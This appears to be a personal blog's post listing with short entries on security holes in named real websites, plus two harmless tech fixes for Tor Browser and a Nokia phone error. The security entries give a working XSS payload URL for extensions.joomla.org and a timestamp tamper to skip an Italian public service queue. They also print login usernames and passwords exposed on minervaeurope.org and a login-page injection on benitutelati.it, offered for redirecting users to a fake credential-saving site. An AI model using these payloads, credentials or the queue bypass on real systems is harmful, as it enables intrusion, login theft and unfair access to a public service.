Skip to main content

Posts

https://extensions.joomla.org | xss

XSS https://extensions.joomla.org/instant-search/?jed_live[query]=recaptcha&jed_live[refinementList][versions][0]=fantastic <img src=x:alert(alt) onerror=eval(src) alt="Merry xssmas!"> Archived page: https://archive.is/wip/kCTik  Note: Bug reported to joomla.org on 30/11/2020

buonomobilita.it - jump the queue (salta la fila)

   Open tamper data (firefox) or any other application (like a proxy to tamper data) and check the post requests. When you get something like that  https://sogei.queue-it.net/?c=sogei&e=mobutente2020&q=52fddcda-579f-46b2-bb44-6c4ddf68e730&cv=[unixtimestamp]&cid=it-IT Set the unixtimestamp to a future date ex. if you the current value is 1604445083694 replace with 1774445083694 (2026+). I used just 1774495521 and it works. ex. https://sogei.queue-it.net/?c=sogei&e=mobutente2020&q=52fddcda-579f-46b2-bb44-6c4ddf68e730&cv=1774495521&cid=it-IT      

minervaeurope.org | misconfigured server, data leak (same cms of benitutelati.it) | Vulnerable CMS

       https://www.minervaeurope.org/login.asp     user             = "ist"     pwd             = "minerva"   https://www.minervaeurope.org/newslettereng/conn.asp username = "minervaeurope" ' Change this to your preferred username. password = "minervanewsletter" ' Change this to your preferred password. archived: https://archive.is/XfdZL The "museo web cms" (asp?) and "Glizy Framework" have several vulnerabilities. ------------------------------- source code? https://www.minervaeurope.org/structure/workinggroups/userneeds/prototipo/cms/tutorial.html https://www.minervaeurope.org/structure/workinggroups/userneeds/prototipo/cms/MWCMS_manuale_150.zip

xss and login hijacking - benitutelati.it

    Example: If the user tries to login we can redirect him to a different (fake) website that saves the login informations.  www.benitutelati.it/page/login.asp?Type=";strUrl="http://www.google.com";a="         List of all benitutelati from http://www.benitutelati.it/page/bene_doc_foto_dettaglio.asp?id=1 to http://www.benitutelati.it/page/bene_doc_foto_dettaglio.asp?id=1339999

[FIX] Tor Browser Portable - how to allow multiple instances (with other firefox browsers that are already open)

  Edit  \TorBrowser-*.*.*\App\TorBrowser\application.ini and Add under [App]  AllowMultipleInstances=true     (that's all)  Example [App] Vendor=Mozilla Name=Firefox RemotingName=firefox CodeName=Tor Browser Version=45.9.0 BuildID=20170201100101 ID={ec8030f7-c20a-464f-9b0e-13a3a9e97384} AllowMultipleInstances=true

error code 80072F30 nokia lumia 630 620 610 600 710 720 730 700 830 820 810 800 930 920 910

 error code 80072F30 nokia lumia 630 620 610 600 710 720 730 700 830 820 810 800 930 920 910 possible problems and solutions Wrong DATE/TIME Edit menu > settings > date+time. Inconsistency between the Internet APN on your SIM and the access point in the customer's data plan  Update the access point  phone menu > settings > access point > add https://expertcentre.nokia.com/en/articles/faqs/Pages/Error-Code-80072F30-when-Synchronizing-Mailbox-on-Windows-Phone-8.aspx